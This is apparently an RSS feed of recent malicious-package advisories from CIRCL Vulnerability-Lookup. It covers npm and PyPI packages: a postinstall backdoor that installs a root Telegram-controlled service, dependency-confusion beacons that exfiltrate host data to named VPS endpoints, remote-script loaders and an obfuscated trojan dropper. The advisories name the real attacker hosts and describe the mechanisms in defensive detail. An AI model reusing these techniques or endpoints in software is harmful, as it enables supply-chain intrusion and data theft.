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  <id>https://vulnerability.circl.lu/rss/recent/ossf_malicious_packages/10</id>
  <title>Most recent entries from ossf_malicious_packages</title>
  <updated>2026-11-22T14:09:53.929913+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@circl.lu</email>
  </author>
  <link href="https://vulnerability.circl.lu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/mal-2026-20330</id>
    <title>MAL-2026-20330 — Malicious code in @leadstack/crm-connect (npm)</title>
    <updated>2026-11-22T07:19:08.117907+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: @leadstack/crm-connect</p>
<p>---
_-= Per source details. Do not edit below this line.=-_</p>
<p>## Source: amazon-inspector (137530bcdc8f89e583e0beaef05d5faec104a1d279127586fcbf5c884c616d35)
Package advertises itself as a 'LeadStack CRM' Node.js connector for lead ingest and routing, but its postinstall script performs a coordinated backdoor deployment on the installer's host. The script fetches configuration from a hardcoded bare-IP endpoint over plain HTTP (http://72.62.1.108:3000/api/v1/partner/bootstrap), writes the returned env_lines and a SOUL.md profile into a hidden ~/.leadstack directory, then creates ~/.leadstack/runtime and runs `npm install --ignore-engines hermes-agent@0.22.7` into it — pulling an unrelated agent package into a concealed runtime directory. It then invokes `hermes-npm setup` and `hermes setup gateway --install --system --run-as-user root --no-start-now`, installing a boot-persistent root-privileged systemd unit. The unit file is copied to /etc/systemd/system/leadstack-routing.service with `Hermes Agent Gateway` strings rewritten to `LeadStack routing`, and the original unit is disabled and deleted — deliberate concealment of the persistence artifact's origin. The service is then enabled and started, and the script waits for a Telegram polling-mode channel to come up, configuring an LLM model provider (kimi-coding). The resulting daemon runs as root on every boot and takes commands from a remote Telegram channel, giving the operator of 72.62.1.108 and the Telegram bot full remote c…</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/mal-2026-20330"/>
    <published>2026-11-22T04:08:47+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/mal-2026-20329</id>
    <title>MAL-2026-20329 — Malicious code in autoloan (npm)</title>
    <updated>2026-11-22T03:15:28+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: autoloan</p>
<p>---
_-= Per source details. Do not edit below this line.=-_</p>
<p>## Source: amazon-inspector (fd149b051db3655d811a5a275af34e47d622cc2a9bcd4e198592c1f449dd3476)
The package ships a postinstall hook ("node beacon.cjs") and a main entry (index.js) that both execute beacon.cjs on npm install and on require(). beacon.cjs collects installer-side identifiers — os.hostname(), __dirname (the install path on the installer's disk), process.cwd(), process.version, and the package name — and POSTs them as JSON to the hardcoded endpoint https://vmi3699893.contaboserver.net:8787/_ah/dc, a bare Contabo VPS unrelated to any documented publisher. The HTTPS request is made with rejectUnauthorized:false, disabling TLS certificate verification. index.js itself exports a Proxy whose properties all return no-op values, so the package provides no real functionality — the install-time and import-time beacon is the sole effect of installing this package. The shape (stub module + hardcoded bare-VPS callback + TLS verification disabled + auto-fire on both lifecycle hook and module load) matches a dependency-confusion / install-tracking beacon rather than a legitimate library.</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/mal-2026-20329"/>
    <published>2026-11-22T02:41:16+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/mal-2026-20324</id>
    <title>MAL-2026-20324 — Malicious code in @c1-ease/commerce (npm)</title>
    <updated>2026-11-22T03:15:27.497150+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: @c1-ease/commerce</p>
<p>---
_-= Per source details. Do not edit below this line.=-_</p>
<p>## Source: amazon-inspector (bfd04dd69116b1d123a66e4b145a0a2c8a75070d8d250f5de931184b1f0ab58f)
The package is a near-empty compatibility shim whose only real behavior is a callback beacon. package.json declares a postinstall hook that runs `node beacon.cjs`, and the main entry `index.js` invokes `beacon.fire()` as a top-level side effect on require. beacon.cjs POSTs host identifiers — `os.hostname()`, the install path (`__dirname`), `process.cwd()`, and `process.version` — to the hardcoded endpoint `https://vmi3699893.contaboserver.net:8787/_ah/dc` with TLS verification explicitly disabled (`rejectUnauthorized: false`). The rest of the module surface is a Proxy returning no-op functions so a consuming build does not crash. The destination is not associated with the `@c1-ease` scope's publisher, the beacon fires without caller opt-in on both install and import, and an in-source comment frames a completed build-with-callback as evidence of reach — consistent with a dependency-confusion / namespace-squat probe against internal `@c1-ease/*` package names.</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/mal-2026-20324"/>
    <published>2026-11-22T02:35:58+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/mal-2026-20328</id>
    <title>MAL-2026-20328 — Malicious code in @c1-ease/core (npm)</title>
    <updated>2026-11-22T03:15:27+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: @c1-ease/core</p>
<p>---
_-= Per source details. Do not edit below this line.=-_</p>
<p>## Source: amazon-inspector (97fcefadffcfd5e41abeff4746ebc756b5b0fed7b86728b35cbd0c4a073184ce)
The package consists of a no-op Proxy export (index.js) and a beacon module (beacon.cjs) that fires both from the declared postinstall lifecycle script and on require of the main module. The beacon collects installer host identifiers — hostname, install path, current working directory, and node/npm version — and POSTs them as JSON to the hardcoded endpoint https://vmi3699893.contaboserver.net:8787/_ah/dc, with TLS certificate verification disabled (rejectUnauthorized:false). The destination is a bare Contabo VPS unrelated to any documented service, and the package provides no functional API: every property access on the exported Proxy returns a no-op function, so the only observable effect of installing or importing @c1-ease/core is transmission of installer identifiers to that endpoint. The scoped name mimicking a generic compatibility 'core' shim is consistent with dependency-confusion or typo-bait targeting.</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/mal-2026-20328"/>
    <published>2026-11-22T02:38:50+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/mal-2026-20327</id>
    <title>MAL-2026-20327 — Malicious code in @c1-ease/card (npm)</title>
    <updated>2026-11-22T03:15:27+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: @c1-ease/card</p>
<p>---
_-= Per source details. Do not edit below this line.=-_</p>
<p>## Source: amazon-inspector (cf1ed7404d29e131f0f3008773ffedf222e2df2d27753bd0e35655762dfc5821)
The package publishes under the scoped name `@c1-ease/card` with no legitimate functionality: `index.js` exports a Proxy that returns a no-op function for any property access, allowing a victim build that resolves this public package instead of an internal `@c1-ease/*` dependency to continue without crashing. `package.json` declares a `postinstall` hook that runs `node beacon.cjs`, and the same beacon is invoked on `require()` of the module. `beacon.cjs` collects host identifiers — `os.hostname()`, `__dirname` (install path), `process.cwd()`, and `process.version` — and POSTs them as JSON to the hardcoded endpoint `https://vmi3699893.contaboserver.net:8787/_ah/dc`, with TLS certificate validation explicitly disabled via `rejectUnauthorized: false`. The combination of a scoped-namespace squat shim, an install-time and import-time outbound beacon to a third-party Contabo VPS, and disabled TLS validation is the standard dependency-confusion exfiltration shape.</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/mal-2026-20327"/>
    <published>2026-11-22T02:36:35+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/mal-2026-20326</id>
    <title>MAL-2026-20326 — Malicious code in @c1-ease/bank (npm)</title>
    <updated>2026-11-22T03:15:27+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: @c1-ease/bank</p>
<p>---
_-= Per source details. Do not edit below this line.=-_</p>
<p>## Source: amazon-inspector (15ba6783ba51366782fa289b444f655cd026cc5ac82d3fae5a5e9f256961c954)
The package declares a `postinstall` script that runs `node beacon.cjs`, and `index.js` re-invokes the same beacon on require. The beacon collects `os.hostname()`, `__dirname`, `process.cwd()`, the Node version, and the package name and POSTs them as JSON to the hardcoded endpoint `https://vmi3699893.contaboserver.net:8787/_ah/dc`, a bare Contabo VPS unrelated to any declared publisher. TLS certificate verification is explicitly disabled via `rejectUnauthorized: false`. Beyond the beacon, `index.js` exports a Proxy whose every property returns a no-op function; the package advertises itself as a `Compatibility shim` under the `@c1-ease` scope but ships no real functionality, consistent with a dependency-confusion or install-tracking artifact targeting a potentially confusable scope name. Installing or requiring the package causes host identifiers to be sent to an attacker-controlled destination with TLS verification disabled.</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/mal-2026-20326"/>
    <published>2026-11-22T02:37:08+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/mal-2026-20325</id>
    <title>MAL-2026-20325 — Malicious code in @c1-ease/autoloan (npm)</title>
    <updated>2026-11-22T03:15:27+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: @c1-ease/autoloan</p>
<p>---
_-= Per source details. Do not edit below this line.=-_</p>
<p>## Source: amazon-inspector (6cfd8eb78dbbe467272495a7a3ef4392f57d30fe791912d5c2cb0719575c752b)
The scoped package name mimics an internal namespace and ships a postinstall beacon plus an import-time trigger. package.json declares scripts.postinstall="node beacon.cjs"; beacon.cjs builds a payload containing hostname, installPath, process.cwd(), and process.version and POSTs it to the hardcoded endpoint https://vmi3699893.contaboserver.net:8787/_ah/dc over HTTPS with certificate validation disabled (rejectUnauthorized: false). index.js (the package main) additionally invokes require('./beacon.cjs').fire() at top level and exports a no-op Proxy so any consumer require()/import of any named export succeeds silently, causing the same POST to fire on every load in build and CI environments. The combination of dependency-confusion naming, auto-fire on both npm install and require, hardcoded non-registry VPS destination, and disabled TLS verification is a supply-chain exfiltration beacon regardless of any self-labeling as authorized research.</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/mal-2026-20325"/>
    <published>2026-11-22T02:37:58+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/mal-2026-20313</id>
    <title>MAL-2026-20313 — Malicious code in testing1345py (PyPI)</title>
    <updated>2026-11-21T23:11:57.350727+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: testing1345py</p>
<p>---
_-= Per source details. Do not edit below this line.=-_</p>
<p>## Source: amazon-inspector (dc04d3349dc599ea7ba9a0b603b2afb8ce99af579ba29280f087697aae959d3b)
The sdist's setup.py overrides build_py.run to call _run_install_demo(), which on Windows invokes testing1345.hello.fetch() during pip install. fetch() downloads https://raw.githubusercontent.com/misdry01/g/refs/heads/main/test.bat — a mutable branch on a personal GitHub account unrelated to any declared publisher — and executes it via cmd.exe with no hash or signature check. The custom bdist_wheel writes testing1345_boot.pth into the wheel root; after install, site.py loads that.pth on every interpreter start and imports testing1345_boot, whose module-level run_once() calls the same fetch(), gated only by a /tmp marker. src/testing1345/__init__.py additionally re-exports fetch as a public API, so any caller of testing1345.fetch() runs whatever bytes the mutable URL currently serves. Whoever controls that GitHub repository therefore obtains arbitrary code execution on the installer's machine at install time and at every subsequent Python startup.</p>
<p>## Source: kam193 (d31c34fe25baf82fd16f49fca26bbb491a517c6c41f93a5b9c3b112fe2194aa8)
During installation, the package downloads and executes a script from a remote location. During analysis, the code was benign, but the package is clearly part of campaign which previously delivered a RAT</p>
<p>---</p>
<p>Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.…</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/mal-2026-20313"/>
    <published>2026-11-20T19:30:56+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/mal-2026-20322</id>
    <title>MAL-2026-20322 — Malicious code in instantscrape (PyPI)</title>
    <updated>2026-11-21T23:11:57.256145+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: instantscrape</p>
<p>---
_-= Per source details. Do not edit below this line.=-_</p>
<p>## Source: amazon-inspector (c686d2223600d1e566907147f1f905b5ecd66809e16c8541262283e425b8bfae)
The package advertises an Instagram scraper but its exported functions are empty stubs. The tarball and wheel ship an 8.4 MB Windows PE (Go-compiled) as src/instantscrape/pip.webp, declared as package_data. The top-level main.py unconditionally calls init() on import; on Windows (os.name=='nt') this moves the bundled pip.webp to the user's home directory as pip.exe (filename reconstructed from the reversed literal "exe.pip"[::-1]) and launches it via ctypes.windll.shell32.ShellExecuteW with the "runas" verb, triggering a UAC elevation prompt. A sentinel file name is likewise hidden as a reversed literal ("ses.retsboLneddiH"[::-1] -&gt; HiddenLobsters.ses), and the payload uses a.webp extension to masquerade as an image. setup.py additionally registers a custom install cmdclass that invokes `python src/instantscrape/init_scarper.py` after install, routing the sdist install path to the same dropper module. The combination of an opaque bundled Windows executable, reversed-string filename obfuscation, extension masquerade, an empty advertised API, and automatic elevated execution on import is a trojan dropper, not a scraper library.</p>
<p>## Source: kam193 (080884e1b90e6717f2e13d434608203eb24db65a5071803022d3d12b6a7032d5)
During installation or import, package executes an embedded malicious executable acting as an infostealer.</p>
<p>---…</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/mal-2026-20322"/>
    <published>2026-11-21T11:53:10+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/mal-2026-20312</id>
    <title>MAL-2026-20312 — Malicious code in cijukop (PyPI)</title>
    <updated>2026-11-21T23:11:57.150026+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: cijukop</p>
<p>---
_-= Per source details. Do not edit below this line.=-_</p>
<p>## Source: amazon-inspector (74c4c4647ff9c1daa53883b585337472d082a7739bd7b28a87b20c19e7cf641d)
cijukop 1.0.0 ships a nearly empty module (cijukop.py is a stub) and declares its payload through pyproject.toml's [build-system].requires, which references `header-buffer-binary-shard @ https://package-registry-receiver-stg.depx-research-bf0.workers.dev/pypi/header_buffer_binary_shard-1.0.0.tar.gz`. PEP 517 build frontends resolve and install this URL dependency into the isolated build environment before the sdist is built, executing the fetched tarball's setup/build hooks on the installer's machine. The source is an anonymous Cloudflare workers.dev endpoint rather than a package index or publisher domain, there is no version pin and no hash/integrity check, and whoever controls the URL can change the delivered bytes at any time. Because the shipped module is inert, this off-registry build-time dependency is the package's only functional effect on install.</p>
<p>## Source: kam193 (660712af586b310107ab85cfce6bb9240b434344c4331e3b055ec8862bb6766f)
The package uses fake http-downloaded dependencies to track downloads, and has no other purpose.</p>
<p>---</p>
<p>Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research &amp; co, with clearly low-harm possibilities.</p>
<p>Campaign: 2026-10-vacsdk</p>
<p>Reasons (based on the campaign):</p>
<p>- dependency-conf…</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/mal-2026-20312"/>
    <published>2026-11-20T19:45:12+00:00</published>
  </entry>
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